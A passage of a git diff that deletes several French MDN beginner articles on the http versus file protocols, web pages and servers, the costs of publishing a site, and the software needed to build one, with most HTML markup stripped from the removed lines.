Il n'existe pas encore de matériau interactif pour cet article. N'hésitez pas à contribuer.

- -

Aller plus loin

- -

Un fichier d'exemple

- -

Prenons un fichier index.html très simple qui utilise une image (nous verrons plus en détails comment utiliser des images dans les articles suivants) :

- -
<!DOCTYPE html>
-<html>
-<head>
-  <meta charset="utf-8">
-  <title>Coucou</title>
-</head>
-<body>
-  <h1>Bonjour !</h1>
-  <p>Je suis une page web toute simple avec :</p>
-  <img src="/images/licorne.png" alt="une licorne !"/>
-</body>
-</html>
- -

Ouvrir un fichier depuis le serveur local

- -

Si vous placez ce fichier HTML et l'image associée sous la racine du répertoire du serveur web puis que vous ouvrez le site à l'adresse http://localhost dans votre navigateur, vous devriez obtenir un résultat semblable à celui-ci :

- -

Example of a page load through a local web server

- -

Maintenant, que se passe-t-il si index.html est déplacé autre part sur le serveur (ce qui arrive plus souvent qu'on le croit à première vue) mais que nos autres ressources (par exemple images) sont toujours sitées à la racine ?

- -

Lorsqu'on fait référence au fichier image, cette référence commence par une barre oblique (/) ce qui signifie que l'URL est relative au nom de domaine. Autrement dit, pour accéder à l'image, on remonte à la racine du domaine (en l'occurence localhost) puis à partir de ce point, on suit le chemin spécifié peu importe où est située la ressource à partir de laquelle on souhaite accéder à l'image (le fichier index.html de cet exemple pourrait être placé n'importe où sur le serveur localhost).

- -

Quel que soit le nouvel emplacement de  index.html, tant que le chemin utilisé pour l'image est /images/licorne.png, le navigateur servira http://localhost/images/licorn.png.

- -

Par exemple, si le fichier est déplacé sous http://localhost/toto, on pourra toujours voir la licorne :

- -

Example of a page not at the root of a local web server

- -

Ouvrir un fichier local

- -

Maintenant, ouvrons un fichier présent sur l'ordinateur. Il existe trois méthodes :

- - - -

Le navigateur interprètera toujours le fichier HTML mais n'affichera pas l'image :

- -

Example of a page open through the file protocol

- -

Les liens absolus relatifs à un nom de domaine

- -

Nous ne voyons plus l'image car nous avons utilisé un chemin relatif à un nom de domaine. En effet, nous avons indiqué au navigateur d'afficher une image situé au chemin suivant /images/licorne.png. Le navigateur va donc à la racine du système de fichiers de votre ordinateur et se déplace dans le répertoire images qui n'existe probablement pas. Le navigateur ne parvient pas à trouver l'image, il se résigne à utiliser l'attribut alt (et affiche donc "une licorne !").

- -

{{Glossary("AJAX")}} et JavaScript

- -

Attention, JavaScript ne fonctionne pas bien avec le protocole file. Ainsi, lorsque vous voudrez lancer une requête {{Glossary("AJAX")}}, cela déclenchera cette procédure :

- -
    -
  1. Chargement du code JavaScript qui remplacera une partie de la page web avec une autre partie.
    2. -
  2. Récupération de cette « autre partie » à l'adresse http://localhost/ajax/remplacement.html.
    3. -
  3. Remplacement de la première partie avec la seconde.
    4. -
- -

Pour que la deuxième étapes fonctionne, {{Glossary("AJAX")}} a besoin d'utiliser le protocole {{Glossary("HTTP")}}. Or, le protocole pour accéder à un fichier local n'est pas http:// mais file://. CQFD : on ne peut pas accéder à un fichier local avec une requête AJAX. Cette restriction s'applique également à de nombreuses autres API JavaScript qui ne fonctionnent qu'avec le protocole HTTP. Cela est dû au modèle de sécurité utilisé pour le Web, que nous aborderons dans un autre article.

- -

Ce que nous avons appris

- -

Pour résumer, il est utile de repérer comment un fichier est ouvert dans un navigateur afin de déterminer le contexte dans lequel on se place et pour comprendre les restrictions qui s'appliquent (notamment pour un fichier ouvert en local avec file://). Cela permet parfois d'éviter de penser que le site ne fonctionne pas correctement alors qu'il s'agit uniquement d'une ouverture de fichier malencontreuse.

- - - -

À l'opposé, le protocole file protocol est une méthode simple et efficace pour :

- - - -

Prochaines étapes

- -

Maintenant que nous avons vu les différences entre le protocole http et le protcole file, vous pouvez continuer :

- - diff --git a/files/fr/apprendre/page_vs_site_vs_serveur_vs_moteur_recherche/index.html b/files/fr/apprendre/page_vs_site_vs_serveur_vs_moteur_recherche/index.html deleted file mode 100644 index f5ff96a440..0000000000 --- a/files/fr/apprendre/page_vs_site_vs_serveur_vs_moteur_recherche/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: >- - Comprendre les différences entre une page web, un site web, un serveur web et - un moteur de recherche -slug: Apprendre/page_vs_site_vs_serveur_vs_moteur_recherche -tags: - - Beginner - - Web -translation_of: Learn/Common_questions/Pages_sites_servers_and_search_engines ---- -
-

Dans cet article, nous démystifions plusieurs notions liées au Web : page web, site web, serveur web et moteur de recherche.

-
- - - - - - - - - - - - -
Prérequis :Vous devriez au préalable comprendre comment fonctionne Internet.
Objectif :Comprendre les différences entre une page web, un site web, un serveur web et un moteur de recherche.
- -

Le Web, comme tout autre champ de connaissance, est associé à un vaste vocabulaire technique. Ne vous inquiétez pas, nous n'avons pas l'intention de vous submerger avec tout cela (toutefois, si vous êtes curieux, vous pouvez consulter notre glossaire). Nous nous devons toutefois de clarifier dès maintenant certaines notions de base, car elles reviendront fréquemment dans vos prochaines lectures. Ces notions peuvent parfois être confondues, car elles réfèrent à des fonctions apparentés, mais néanmoins distinctes. Nous approfondirons bientôt ces notions, mais vous pouvez commencer par vous familiariser avec ces définitions simples :

- -
-
page web
-
un document qui peut être affiché par un navigateur web (tel que Mozilla Firefox, Google Chrome, Microsoft Internet Explorer ou Edge ou encore Safari)
-
site web
-
un ensemble de pages web regroupées entre elles de différentes façons.
-
serveur web
-
un ordinateur qui héberge un site web
-
moteur de recherche
-
un site web qui aide à trouver des pages web (par exemple, Google, Bing, Yahoo, DuckDuckGo, Qwant, etc.)
-
- -

Pédagogie active

- -

Aucun contenu de pédagogie active n'est disponible pour le moment. S'il-vous-plaît, pensez à contribuer pour enrichir ce contenu !

- -

Allons plus loin

- -

Explorons maintenant les liens qui unissent ces quatre notions et pourquoi elles sont parfois confondues.

- -

Page web

- -

Une page web est un document simple qui peut être affiché par un {{Glossary("navigateur")}}. Ce document est écrit à l'aide du langage {{Glossary("HTML")}} (nous en reparlerons plus en profondeur dans d'autres articles) et peut inclure diverses autres ressources telles que :

- - - -
-

Note : Les navigateurs peuvent afficher d'autres types de documents tels que des fichiers {{Glossary("PDF")}} ou des images, mais le terme page web désigne spécifiquement des documents HTML. Si nous parlons d'un autre type de contenu, nous utiliserons le terme document.

-
- -

Toutes les pages web sont associées à une adresse unique. Pour atteindre une page, il suffit d'entrer son adresse dans la barre d'adresse du navigateur :

- -

Exemple d'une adresse de page web dans la barre d'adresse du navigateur

- -

Un site web est un ensemble de pages web reliées entre elles (ainsi que des ressources associées) qui partagent un nom de domaine. Chaque page d'un site fournit des liens explicites (généralement sous la forme de texte cliquable) qui permettent à l'utilisateur de naviguer entre les pages du site web.

- -

Pour atteindre un site web, vous devez saisir son nom de domaine dans la barre d'adresse de votre navigateur. Le navigateur affichera alors la page principale, appelée page d'accueil, du site web.

- -

Example du nom de domaine d'un site web dans la barre d'adresse du navigateur

- -

Les termes page web et site web sont souvent confondus lorsqu'un site web ne comprend qu'une seule page. Un tel site pourrait être appelé un site web à page unique.

- -

Serveur web

- -

Un serveur web est un ordinateur hébergant un ou plusieurs sites web. « Héberger » signifie que toutes les pages web et fichiers associés sont localement enregistrés sur cet ordinateur. À la demande d'un utilisateur, le serveur web transmettra la page web du site web hébergé au navigateur de l'utilisateur.

- -

Attention à ne pas confondre site web et serveur web. Par exemple, si quelqu'un dit « Mon site web ne répond pas », cela signifie en fait que le serveur web ne répond pas et que, par conséquent, le site web n'est pas accessible. Par ailleurs, puisqu'un serveur web peut héberger plusieurs sites web, le terme serveur web n'est jamais utilisé pour désigner un site web, car cela serait une importante source de confusion. Ainsi, dans l'exemple précédent, si on dit « Mon serveur web ne répond pas », cela signifie qu'aucun site web de ce serveur n'est disponible.

- -

Moteur de recherche

- -

Les moteurs de recherche sont à l'origine de beaucoup de confusion sur le web. Un moteur de recherche est un type particulier de site web qui aide les utilisateurs à trouver les pages web d'autres sites web.

- -

Il y en a tout plein : Google, Bing, Yandex, DuckDuckGo et plusieurs autres encore. Certains sont généraux, alors que d'autres sont spécialisés pour certains sujets de recherche. Vous êtes libres d'utiliser votre préféré.

- -

Plusieurs débutants sur le Web confondent moteur de recherche et navigateur. Soyons clairs : un navigateur est un logiciel qui affiche des pages web, alors qu'un moteur de recherche est un site web qui aide les utilisateurs à trouver les pages web d'autres sites web. La confusion est due à l'affichage de la page d'accueil d'un moteur de recherche lors de l'ouverture initiale d'un navigateur. Cette façon de faire est tout de même logique, car la première chose que l'on veut faire en ouvrant un navigateur est de trouver une page à afficher. Faites attention de ne pas confondre infrastructure (par exemple, le navigateur) et service (par exemple, le moteur de recherche). Cette distinction vous sera bien utile, mais ne soyez pas trop inquiets, car même les professionnels tendent à être un peu vagues dans leur emploi de la terminologie.

- -

Voici un exemple du navigateur Firefox affichant une boîte de recherche Google sur sa page de démarrage par défaut :

- -

Exemple de Firefox nightly affichant par défaut une page Google page personnalisée

- -

Étapes suivantes

- - diff --git "a/files/fr/apprendre/publier_sur_le_web_combien_\303\247a_co\303\273te/index.html" "b/files/fr/apprendre/publier_sur_le_web_combien_\303\247a_co\303\273te/index.html" deleted file mode 100644 index e9ef0e5b3e..0000000000 --- "a/files/fr/apprendre/publier_sur_le_web_combien_\303\247a_co\303\273te/index.html" +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: 'Publier sur le Web : combien ça coûte ?' -slug: Apprendre/Publier_sur_le_Web_combien_ça_coûte -tags: - - Beginner - - Learn - - WebMechanics -translation_of: Learn/Common_questions/How_much_does_it_cost ---- -
-

Se lancer sur le Web n'est pas aussi bon marché qu'il y paraît à première vue. Dans cet article, nous verrons les différentes dépenses et leur raison d'être.

-
- - - - - - - - - - - - -
Prérequis :Vous devez au préalable connaître les logiciels nécessaires au développement web, les différences entre une page web, un site web, etc. et savoir ce qu'est un nom de domaine.
Objectifs :Revoir le processus de création complet d'un site web et analyser le coût éventeul de chaque étape.
- -

Lorsqu'on lance un site web, on peut très bien ne rien payer ou, au contraire, dépenser de façon astronomique. Dans cet article, nous verrons les coûts associés à chaque étape et ce à quoi s'attendre en fonction de ce qu'on paye (ou qu'on ne paye pas).

- -

Aller plus loin

- -

Développer son site soi-même

- -

Logiciels

- -
Éditeurs de texte
- -

Vous disposez probablement d'un éditeur de texte grâce à votre système d'exploitation (Notepad sur Windows, gedit sur Linux, TextEdit sur Mac). Mais, comme vous le verrez bientôt, un éditeur de texte adapté au développement web (avec une coloration syntaxique et d'autres fonctionnalités) vous rendra un meilleur service.

- -

De nombreux éditeurs sont gratuits : Bluefish, TextWrangler, Eclipse et Netbeans. Certains comme Sublime Text peuvent être utilisés librement mais vous serez invité à payer si vous les utilisez continuellement ou dans un cadre professionnel. D'autres comme PhpStorm peuvent coûter entre quelques dizaines et plusieurs centaines d'euros en fonction de l'abonnement choisi. Enfin, certains comme Microsoft Visual Studio peuvent coûter plusieurs centaines voire plusieurs milliers d'euros selon l'utilisation qui en est faite.

- -

Pour commencer, n'hésitez pas à essayer plusieurs éditeurs (même les éditeurs payants disposent souvent d'une version d'essai) pour savoir lequel vous convient le mieux. Si vous prévoyez de n'écrire que du {{Glossary("HTML")}}, {{Glossary("CSS")}} et  {{Glossary("Javascript")}} simples, vous pouvez utiliser un éditeur simple.

- -

Le prix d'un éditeur ne reflète pas toujours son utilité ou sa qualité. À vous de les essayer et de forger votre avis. Par exemple, Sublime Text n'est pas très cher mais peut être agrémenté d'extensions (plugins) gratuites qui augmentent sensiblement les fonctionnalités qu'il offre.

- -
Éditeurs graphiques
- -

Votre système inclue probablement déjà un éditeur ou une visionneuse d'images (Paint pour Windows, Eye of Gnome pour Ubuntu, Preview sur Mac). Mais ces programmes sont limités et vous pourrez avoir besoin de fonctionnalités supplémentaires.

- -

Les éditeurs graphiques peuvent être gratuits (GIMP), payants (PaintShop Pro, moins de 100 € ) voire assez chers (Adobe Photoshop pour plusieurs centaines d'euros).

- -

Vous pouvez utiliser n'importe lequel de ces éditeurs. Leurs fonctionnalités sont tr_s proches (certains de ces éditeurs sont si complets que vous n'utiliserez jamais toutes leurs fonctionnalités). Cependant, si vous avez besoin d'échanger vos éléments avec d'autres concepteurs, voyez avec eux les outils qu'ils utilisent. En effet les éditeurs peuvent permettre d'exporter vers des formats de fichiers standards mais d'autres possèdent leurs propres formats spécifiques.

- -
Éditeurs multimédia
- -

Si vous souhaitez intégrer des éléments audio ou vidéo dans votre site, vous pourrez utiliser des services en ligne (par exemple YouTube, Vimeo ou Dailymotion) pour intégrer les vidéos depuis ces sites ou vous pourrez créer ves propres vidéos (voir ci-après quant à la bande passante).

- -

Pour éditer des fichiers audio, il existe des logiciels gratuits (Audacity, Wavosaur) ou d'autres qui coûtent quelques centaines d'euros (Sony Sound Forge, Adobe Audition). Les logiciels d'édition vidéo peuvent être gratuits (PiTiVi, OpenShot pour Linux, iMovie pour Mac), coûter moins d'une centaine d'euros (Adobe Premiere Elements) ou coûter plusieurs centaines d'euros (Adobe Premiere Pro, Avid Media Composer, Final Cut Pro). Le logiciel qui est fourni avec votre caméra peut également parfaitement subvenir à vos besoins.

- -
Outils de publication : client {{Glossary("FTP")}}
- -

Vous aurez également besoin d'un logiciel pour transférer les fichiers depuis votre disquer dur vers un serveur web distant. Pour cela, vous utiliserez un client FTP.

- -

Chaque système d'exploitation inclut un client FTP avec le gestionnaire de fichiers. Que ce soit Windows Explorer, Nautilus (un gestionnaire de fichiers pour Linux) ou Finder sur Mac, tous incluent cette fonctionnalité. Cependant, certains choisissent souvent d'utiliser un client FTP dédié à cet usage afin d'enregistrer les mots de passe et d'afficher les vues simultanées entre les emplacements locaux et les répertoires distants.

- -

Si vous souhaitez installer un client FTP, il existe plusieurs options correctes et gratuites : FileZilla pour toutes les plateformes, WinSCP pour Windows, Cyberduck pour Mac et Windows et d'autres encore.

- -
-

Note : Il existe d'autres méthodes pour publier du contenu sur des serveurs distants : rsync et git par exemple. Mais ces méthodes ne sont pas aussi simples à appliquer que FTP et nous ne les aborderons pas dans cette section.

-
- - - -

Si vous lisez cet article, il y a de grandes chances que vous ayez un navigateur web. Sinon, vous pouvez télécharger Firefox ou télécharger Google Chrome.

- -

Accès au Web

- -
Ordinateur / Modem
- -

Pour éditer/publier un site web, vous aurez besoin d'un ordinateur. Le prix d'un ordinateur peut varier énormément en fonction de votre budget et de l'endroit où vous vivez. A minima vous aurez besoin d'un ordinateur qui puisse lancer un éditeur et un navigateur, il est donc possible de commencer le développement web avec un ordinateur d'entrée de gamme.

- -

Bien sûr, vous aurez besoin d'un ordinateur plus performants si vous voulez produire des concepts plus lourds, retoucher des photos ou produire des fichiers audio et vidéo.

- -

Vous aurez besoin de transférer votre contenu vers un serveur distant. Pour cela, vous aurez besoin d'un modem et d'une accès Internet. Cela revient généralement à plusieurs euros par mois, que vous payez à un fournisseur d'accès Internet.

- -
Accès Internet
- -

Assurez-vous d'avoir suffisamment de bande passante :

- - - -

Hébergement

- -
Comprendre ce qu'est la « bande passante »
- -

Le tarif d'un hébergeur  variera en fonction de la bande passante consommée par votre site web. Celle-ci dépend du nombre de visiteurs (humains ou robots) sur une période donnée et de l'espace occupé par votre contenu (c'est pour cette raison que la plupart des gens stockent leurs vidéos sur Youtube, Dailymotion et Vimeo). Par exemple, votre fournisseur peut avoir une formule qui permet d'avoir jusqu'à plusieurs milliers de visiteurs par jours pour une bande passante raisonnable (cette définition de « raisonnable » peut varier d'un fournisseur à l'autre). Grosso modo, un hébergement personnalisé moyen et qui vous permet de servir suffisamment de visiteurs coûte entre 10 et 15 euros par mois.

- -
-

Note : Un débit « illimité » n'existe pas en réalité. Si vous consommez beaucoup de bande passante, attendez-vous à devoir payer en conséquence.

-
- -
Nom de domaine
- -

Vous pouvez acheter un nom de domaine chez un fournisseur de nom de domaine (ou bureau d'enregistrement). Votre hébergeur peut aussi être un bureau d'enregistrement (1&1 et Gandi sont par exemple des hébergeurs et des bureaux d'enregistrement). Un nom de domaine coûte, en général, entre 5 et 15 € par an. Le coût peut varier en fonction :

- - - -
Hébergement « maison » et hébergement « packagé »
- -

Lorsque vous souhaitez publier un site, vous pouvez tout faire vous-même : mettre en place une base de données si nécessaire, installer un système de gestion de contenu ({{Glossary("CMS")}}) (comme Wordpress, Dotclear, spip, etc.), transférer vos modèles de fichiers ou utiliser vos propres modèles.

- -

Vous pouvez également utiliser un environnement pré-paramétré par votre hébergeur ou souscrire à un service d'hébergement avec des CMS pré-paramétrés (Wordpress, Tumblr, Blogger). Avec cette dernière option, vous pourrez avoir un hébergement gratuit mais vous aurez beaucoup moins de contrôle sur la mise en forme et la mise en place du site web.

- -
Hébergement gratuit et hébergement payant
- -

Si des options gratuites existent, pourquoi donc faudrait-il payer pour un hébergement ?

- -
    -
  1. Un hébergement payant vous permet d'avoir plus de libertés : votre site vous appartient et vous pouvez le migrer d'un hébergeur à un autre lorsque c'est nécessaire.
    2. -
  2. Un hébergement gratuit est souvent accompagné de publicité et vous contrôlez moins votre contenu.
    3. -
- -

Certains choisissent une approche hybride en hébergeant leur site principal avec un nom de domaine et un hébergeur payants et utilisent un service gratuit pour héberger des contenus moins stratégiques.

- -

Agences web professionnelles et hébergement

- -

Si vous souhaitez mettre en place un site professionnel, vous contacterez probablement une agence web qui le développera pour vous.
-
- Le coût d'un tel projet varie selon plusieurs facteurs :

- - - -

De plus, en ce qui concerne l'hébergement :

- - - -

Selon les réponses à ces questions, votre site peut coûter entre quelques milliers d'euros et plusieurs centaines de milliers d'euros.

- -

Prochaines étapes

- -

Maintenant que la question du coût est résolue, il est temps de commencer à concevoir ce site web et de préparer un environnement de travail.

- - diff --git a/files/fr/apprendre/qu_est-ce_qu_un_serveur_web/index.html b/files/fr/apprendre/qu_est-ce_qu_un_serveur_web/index.html deleted file mode 100644 index f035f561ac..0000000000 --- a/files/fr/apprendre/qu_est-ce_qu_un_serveur_web/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Qu'est-ce qu'un serveur web ? -slug: Apprendre/Qu_est-ce_qu_un_serveur_web -tags: - - Beginner - - Infrastructure - - Learn -translation_of: Learn/Common_questions/What_is_a_web_server ---- -
-

Dans cet article, nous verrons ce que sont les serveurs web, comment ils fonctionnent et pourquoi ils sont importants.

-
- - - - - - - - - - - - -
Prérequis :Vous devriez au préalable savoir comment Internet fonctionne, les différences entre une page web, un site web, un serveur web et un moteur de recherche.
Objectifs :Vous apprendrez ce qu'est un serveur web et comprendrez son fonctionnement général.
- -

Un « serveur web » peut faire référence à des composants logiciels (software) ou à des composants matériels (hardware) ou à des composants logiciels et matériels qui fonctionnent ensemble.

- -
    -
  1. Au niveau des composants matériels, un serveur web est un ordinateur qui stocke les fichiers qui composent un site web (par exemple les documents HTML, les images, les feuilles de style CSS, les fichiers JavaScript) et qui les envoie à l'appareil de l'utilisateur qui visite le site. Cet ordinateur est connecté à Internet et est généralement accessible via un nom de domaine tel que mozilla.org.
    2. -
  2. Au niveau des composants logiciels, un serveur web contient différents fragments qui contrôlent la façon dont les utilisateurs peuvent accéder aux fichiers hébergés. On trouvera a minima un serveur HTTP. Un serveur HTTP est un logiciel qui comprend les {{Glossary("URL")}} et le protocole {{Glossary("HTTP")}} (le protocole utilisé par le navigateur pour afficher les pages web).
    3. -
- -

Au niveau le plus simple, à chaque fois qu'un navigateur a besoin d'un fichier hébergé sur un serveur web, le navigateur demande (on dit qu'il envoie une requête) le fichier via HTTP. Quand la requête atteint le bon serveur web (matériel), le serveur HTTP (logiciel) renvoie le document demandé, également grâce à HTTP.

- -

Basic representation of a client/server connection through HTTP

- -

Pour publier un site web, vous aurez besoin d'un serveur web statique ou dynamique.

- -

Un serveur web statique (aussi appelé une pile) est composé d'un ordinateur (matériel) et d'un serveur HTTP (logiciel). Il est appelé « statique » car le serveur envoie les fichiers hébergés « tels quels » vers le navigateur.

- -

Un serveur web dynamique possède d'autres composants logiciels, certains qu'on retrouve fréquemment dont un serveur d'applications et une base de données. Il est appelé « dynamique » car le serveur d'applications met à jour les fichiers hébergés avant de les envoyer au navigateur via HTTP.

- -

Par exemple, afin de produire la page web que vous voyez sur votre navigateur, le serveur d'applications serveur peut utiliser un modèle HTML et le remplir avec des données. Ainsi, des sites comme MDN ou Wikipédia ont des milliers de pages mais il n'existe pas un document HTML réel pour chacune de ces pages. En fait, il y a quelques modèles (ou gabarits) HTML qui sont utilisés avec une gigantesque base de données. Cette organisation permet de mieux mettre à disposition le contenu et de maintenir plus efficacement le site.

- -

Pédagogie active

- -

Il n'y a, pour le moment, pas d'élément de pédagogie active pour cette section. Vous pouvez néanmoins contribuer.

- -

Aller plus loin

- -

Pour récupérer une page web, votre navigateur envoie une requête au serveur web. Celui-ci traite alors la requête pour le fichier demandé, présent sur son espace mémoire. Lorsqu'il trouve le fichier, le serveur le lit, le manipule si nécessaire et l'envoie au navigateur. Dans cette section, nous allons décrire en détails chacune de ces étapes.

- -

Héberger des fichiers

- -

Un serveur web doit stocker les fichiers nécessaires au fonctionnement du site web : tous les documents HTML et les ressources liées dont les images, les fichiers JavaScript, les feuilles de styles, les fichiers de fontes, les vidéos, etc.

- -

D'un point de vue technique, il serait tout à fait possible de stocker tout ces éléments sur son propre ordinateur. Toutefois, il est beaucoup plus pratique d'utiliser un serveur web destiné spécifiquement à cela car il devra :

- - - -

Au regard de toutes ces raisons, il est crucial de trouver un hébergeur correct pour votre site web. Prenez donc le temps de parcourir les différentes offres afin de choisir celle qui correspond le mieux à votre besoin et à votre budget (qui pourra varier entre 0 € et plusieurs milliers d'euros par mois selon ce qui est demandé). Vous trouverez d'autres détails sur ce point dans cet article.

- -

Une fois que vous avez trouvé votre hébergeur et la solution d'hébergement qui vous convient, il vous suffira de transférer vos fichiers vers le serveur web.

- -

Communiquer via HTTP

- -

Un serveur web supporte le protocole {{Glossary("HTTP")}} (pour HyperText Transfer Protocol en anglais soit Protocole de transfert hypertexte). Comme son nom l'indique, HTTP définit comment transférer des fichiers hypertextes (c'est-à-dire des documents web liés entre eux) entre deux ordinateurs.

- -

Ici, un protocole est un ensemble de règles définissant la communication entre deux ordinateurs. HTTP est un protocole textuel, sans état.

- -
-
Textuel
-
Toutes les commandes qui sont échangées sont du texte pouvant être lu par un humain.
-
Sans état
-
Ni le serveur, ni le client (l'ordinateur sur lequel est le navigateur) ne se souviennent des communications précédentes. Par exemple, si on utilisait uniquement HTTP, un serveur ne pourrait pas se souvenir si un mot de passe a été saisi ou si une transaction est en cours (pour gérer cela, il faut utiliser un serveur d'applications).
-
- -

HTTP fournit des règles claires qui indiquent comment un client et un serveur communiquent. HTTP fait l'objet d'un article technique à part entière. Pour le moment, voici les points les plus importants à garder en mémoire :

- - - -

Sur un serveur web, le serveur HTTP est responsable du traitement des requêtes reçues et de leurs réponses.

- -
    -
  1. Une fois qu'il a reçu une requête, le serveur HTTP vérifie que l'URL demandée correspond à un fichier existant.
    2. -
  2. Si c'est le cas, le serveur envoie le fichier vers le navigateur du client. Sinon, le serveur d'applications génère le fichier nécessaire.
    3. -
  3. Si le fichier n'existe pas ou que le traitement est impossible, le serveur web renvoie un message d'erreur au navigateur. Le message d'erreur le plus fréquemment rencontré est {{HTTPStatus("404", "404 Page non trouvée")}} (cette erreur étant plutôt fréquente, certains ont même personnalisé et adapté les pages d'erreurs 404 de leurs sites).
    4. -
- -

Une page d'erreur HTTP, en l'occurrence la page 404 de MDN

- -

Contenu statique et contenu dynamique

- -

En résumé, un serveur peut « servir » du contenu statique ou dynamique. Un contenu « statique » signifie qu'il est servi tel quel. Les sites web statiques sont les plus simples à mettre en œuvre et il sera donc préférable de commencer par un site statique.

- -

Un site « dynamique » signifie que le serveur traite le contenu ou le génère à la volée depuis les informations contenues dans une base de données. Cette solution est plus flexible mais beaucoup plus complexe à mettre en œuvre.

- -

Prenons l'exemple de la page que vous êtes en train de lire. Sur le serveur web qui l'héberge, il y a une serveur d'applications qui tire l'article d'une base de données, le formate et l'insère dans différents modèles HTML. Une fois ce traitement effectué, le serveur envoie le fichier vers votre navigateur. Ici, le serveur d'applications s'appelle Kuma et est construite Python (grâce au framework Django). L'équipe Mozilla a construit Kuma afin qu'il réponde aux besoins spécifiques de MDN mais il existe de nombreuses autres applications, éventuellement construites sur d'autres technologies.

- -

Il y a tellement de serveurs d'applications qu'il est difficile d'en suggérer un en particulier. Certains serveurs d'applications sont consacrés à certaines catégories de site web comme les blogs, les wikis, les boutiques en ligne, etc. D'autres, appelés {{Glossary("CMS")}} (pour Content Management Systems en anglais ou « Systèmes de gestion des contenus ») sont plus génériques. Si vous construisez un site web dynamique, prenez le temps d'étudier les outils disponibles pour choisir celui qui correspondra à votre projet. Sauf si vous souhaitez apprendre des éléments de programmation serveur (ce qui est très intéressant), vous n'avez pas besoin de créer votre serveur d'applications de toute pièce (cela reviendrait à réinventer la roue).

- -

Prochaines étapes

- -

Maintenant que vous connaissez les serveurs web, vous pourriez :

- - diff --git "a/files/fr/apprendre/quels_logiciels_sont_n\303\251cessaires_pour_construire_un_site_web/index.html" "b/files/fr/apprendre/quels_logiciels_sont_n\303\251cessaires_pour_construire_un_site_web/index.html" deleted file mode 100644 index fc0e1bcfc8..0000000000 --- "a/files/fr/apprendre/quels_logiciels_sont_n\303\251cessaires_pour_construire_un_site_web/index.html" +++ /dev/null @@ -1,189 +0,0 @@ ---- -title: De quels logiciels ai-je besoin pour construire un site web ? -slug: Apprendre/Quels_logiciels_sont_nécessaires_pour_construire_un_site_web -tags: - - Beginner - - Learn - - NeedsActiveLearning - - WebMechanics -translation_of: Learn/Common_questions/What_software_do_I_need ---- -
-

Dans cet article, nous listons les logiciels nécessaires pour éditer, mettre en ligne ou consulter un site web.

-
- - - - - - - - - - - - -
Prérequis :Vous devriez déjà connaître la différence entre une page web, un serveur web et un moteur de recherche.
Objectifs :Connaître les logiciels qui sont nécessaires pour créer, éditer, mettre en ligne ou consulter un site web.
- -

La plupart des logiciels nécessaires au développement d'un site web peuvent être téléchargés gratuitement sur Internet. Quelques liens seront fournis au fur et à mesure de l'article. Vous aurez besoin d'outils pour :

- -
    -
  1. Créer et éditer des pages web
    2. -
  2. Téléverser (uploader) vos fichiers vers votre serveur web
    3. -
  3. Visualiser votre site web.
    4. -
- -

Tous les systèmes d'exploitation (ou presque) possèdent par défaut un éditeur de texte et un outil pour visualiser des sites web (qu'on appellera un navigateur web). Seul l'outil qui permet de transférer les fichiers vers votre serveur web pourrait manquer à l'appel.

- -

Pédagogie active

- -

Il n'y a, pour le moment, pas de matériau pour la pédagogie active. Cependant, vous pouvez contribuer.

- -

Aller plus loin

- -

Créer et éditer des pages web

- -

Pour créer et éditer un site web, vous aurez besoin d'un éditeur de texte. Les éditeurs de texte permettent de créer et de modifier des fichiers dont le contenu est du texte, sans aucune mise en forme (d'autres formats comme {{Glossary("RTF")}} vous permettent d'ajouter une mise en forme sur un fichier (comme le gras ou le soulignement) mais ils ne sont pas utilisables pour écrire des pages web). Le choix d'un éditeur de texte est important car vous allez devoir l'utiliser de façon intensive lorsque vous allez construire votre site.

- -

Tous les systèmes d'exploitations possèdent un éditeur de texte basique par défaut. Ces éditeurs sont plutôt simples à manipuler mais n'ont pas certaines fonctionnalités utiles au développement web. Si vous souhaitez choisir un autre éditeur que celui par défaut, il y en a une myriade qui sont disponibles, dont certains gratuits. Les éditeurs de texte tiers pourront inclure des fonctionnalités supplémentaires comme la coloration syntaxique, l'auto-complétion, le repli de sections, la recherche avancée, etc. Voici une très courte liste d'éditeurs disponibles :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Système d'exploitationÉditeur natif par défautÉditeur tiers
Windows - - - -
Mac OS - - - -
Linux - - - -
Chrome OS - -
- -

Voici une capture d'écran qui illustre l'allure d'un éditeur de texte avancé (ici Notepad++) :

- -

Screenshot of Notepad++.

- -

Transférer des fichiers vers un serveur web

- -

Lorsque votre site web est peaufiné, testé et est prêt à être publié, vous devrez téléverser (uploader) vos fichiers vers votre serveur web (pour l'achat de l'espace serveur, voir l'article combien ça coûte de publier quelque chose sur le Web ?). Une fois que vous disposez d'un serveur via votre fournisseur, celui-ci vous enverra les informations d'accès FTP (pour File Transfer Protocol ou protocole de transfert de fichiers), souvent en donnant une URL SFTP, un nom d'utilisateur, un mot de passe et d'autres informations nécessaires à la connexion au serveur. Sachez toutefois que le FTP est une technique vieillissante et que de nouveaux systèmes commencent à devenir populaires, comme RSync et Git/Github.

- -
-

FTP est par nature non sécurisé. Vous devez toujours vous assurer que votre fournisseur d'hébergement vous autorise à vous connecter de manière sécurisée, c'est-à-dire via SFTP (Secure FTP) ou via RSync avec SSH.

-
- -

Le téléversement des fichiers vers un serveur web est une étape importante dans la publication d'un site web et nous la décrivons beaucoup plus en détails dans un article à part. Voyons tout de même une liste de clients FTP basiques :

- - - - - - - - - - - - - - - - - - - - - - - -
Système d'exploitationLogiciel client FTP
WindowsWinSCPFileZilla (tout système d'exploitation)
LinuxNautilus (Gnome)
- Konqueror (KDE)
Mac OSCyberduck
- -

Visualiser des sites web

- -

Comme vous le savez sans doute déjà, vous avez besoin d'un navigateur web pour visualiser des pages web. De nombreux navigateurs existent que vous pouvez utiliser de façon personnelle. Toutefois, lorsqu'on développe un site web, il faut au moins le tester sur les navigateurs les plus utilisés afin de s'assurer que le site fonctionne pour la plupart des personnes :

- - - -

Si votre site s'adresse à un public particulier (par exemple un pays spécifique ou une plate-forme donnée), vous pourrez avoir à tester votre site sur des navigateurs supplémentaires comme Opera, Dolphin ou UC Browser.

- -

